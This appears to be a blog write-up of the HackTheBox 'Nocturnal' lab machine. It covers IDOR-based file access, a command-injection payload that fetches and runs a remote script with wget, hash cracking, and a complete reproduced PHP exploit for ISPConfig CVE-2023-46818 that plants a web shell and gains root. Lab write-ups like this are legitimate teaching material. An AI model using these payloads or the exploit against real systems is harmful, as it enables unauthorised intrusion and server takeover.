Virts

Virts

私は可愛いです 🥰 お金をください ❤️
telegram
github
email
steam
douban

HackTheBox [Nocturnal] WriteUp

image

GetShell#

First, scan the ports and find that ports 22 and 80 are open.

nmap -Pn -sT 10.10.11.64 --top-ports 1000

HTTP requires a domain name to access, the domain is nocturnal.htb, and upon opening it, it is found to be a website that allows file uploads.

You can register a random user to log in and check, upload a PHP file, and find that there is a whitelist restriction on the uploaded file extensions, which seems difficult to bypass. Hint: Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.

So let's follow the normal process and try uploading a PDF first. The uploaded file appears in the file list, and a download interface is found.

http://nocturnal.htb/view.php?username=aaa&file=file.pdf

Testing reveals that this interface does not have strict authentication, allowing for username brute-forcing to download any user's uploaded files, using Burp to run a username dictionary.

image
Found the user amanda, and discovered a privacy.odt file, which can be opened with Word, containing the user's initial password information.

Log out and log back in successfully using the initial password for the amanda account, and find access to the admin panel. The PHP source code can be seen for source auditing.

It is found that the Backup function is implemented using the zip command, and the password variable can be controlled by the user, but it has undergone a layer of blacklist processing. Key code:

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
$descriptor_spec = [
    0 => ["pipe", "r"], // stdin
    1 => ["file", $logFile, "w"], // stdout
    2 => ["file", $logFile, "w"], // stderr
];

$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
    proc_close($process);
}

I tried to bypass this for a long time without success, and finally saw someone else's WP and found that %0a can be used to truncate, and %09 can be used as a space. The final payload constructed is as follows:

# Download remote script to local
password=%0abash%09-c%09"wget%09http://10.10.14.45:8089/1.sh"&backup=
# Execute script
password=%0abash%09-c%09"bash%091.sh"&backup=

Successfully reversed the shell, the user is www-data, and in the user directory, there is a nocturnal_database folder containing an nocturnal_database.db SQLite database. Downloaded it and found that the users table contains the following data.

4	tobias	55c82b1ccd55ab219b3b109b07d5061d

The user tobias also exists in /etc/passwd, so consider cracking the password to perform an SSH brute-force.

hashcat -m 0 tobias.hash rockyou.txt

Using the cracked password, I can successfully log in via SSH and obtain the user flag.

Privilege Escalation#

Use ss to check the open ports on the server.

ss -tulnp

Found that port 8080 is open. I tested it with curl, but there was no response, which misled me; in fact, accessing it via a browser still shows content.

To facilitate, I directly used SSH to proxy the server's 8080 port to my local 8787.

ssh -L 8787:127.0.0.1:8080 [email protected] -N

Accessing it reveals a server management panel ISPConfig.

Continuing with brute-forcing, the username admin and the password previously cracked with hashcat slowmotionapocalypse, successfully logging in.

In the Help option, I found the version information.

ISPConfig Version: 3.2.10p1

However, I couldn't find a corresponding PoC in Exploit DB; they were all quite old. I found a POC online that can be exploited directly.

<?php

/*
    ------------------------------------------------------------------------
    ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability
    ------------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.ispconfig.org
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "records" POST parameter to /admin/language_edit.php is 
    not properly sanitized before being used to dynamically generate PHP code that will be
    executed by the application. This can be exploited by malicious administrator users to
    inject and execute arbitrary PHP code on the web server.
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2023-13
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

print "[+] Logging in with username '{$user}' and password '{$pass}'\n";

@unlink('./cookies.txt');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$url}login/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($user)."&password=".urlencode($pass)."&s_mod=login");

if (preg_match('/Username or Password wrong/i', curl_exec($ch))) die("[-] Login failed!\n");

print "[+] Injecting shell\n";

$__phpcode = base64_encode("<?php print('____'); passthru(base64_decode(\$_SERVER['HTTP_C'])); print('____'); ?>"); 
$injection = "'];file_put_contents('sh.php',base64_decode('{$__phpcode}'));die;#";
$lang_file = str_shuffle("qwertyuioplkjhgfdsazxcvbnm").".lng";

curl_setopt($ch, CURLOPT_URL, "{$url}admin/language_edit.php");
curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}");

$res = curl_exec($ch);

if (!preg_match('/_csrf_id" value="([^"]+)"/i', $res, $csrf_id)) die("[-] CSRF ID not found!\n");
if (!preg_match('/_csrf_key" value="([^"]+)"/i', $res, $csrf_key)) die("[-] CSRF key not found!\n");

curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}&_csrf_id={$csrf_id[1]}&_csrf_key={$csrf_key[1]}&records[%5C]=".urlencode($injection));

curl_exec($ch);

print "[+] Launching shell\n";

curl_setopt($ch, CURLOPT_URL, "{$url}admin/sh.php");
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
    print "\nispconfig-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
    preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

Usage:

php CVE-2023-46818.php http://localhost:8787/ admin slowmotionapocalypse                                                                                                                                                                                                                                                                           (base)
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# whoami
root

Privilege escalation successful, obtained the root flag.

Summary#

Looking back, this challenge felt quite realistic in terms of penetration testing, with a bit of difficulty, mainly getting stuck on the sh password bypass for a long time, as my fundamentals were not very solid; other areas followed the thought process without major issues.

image

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.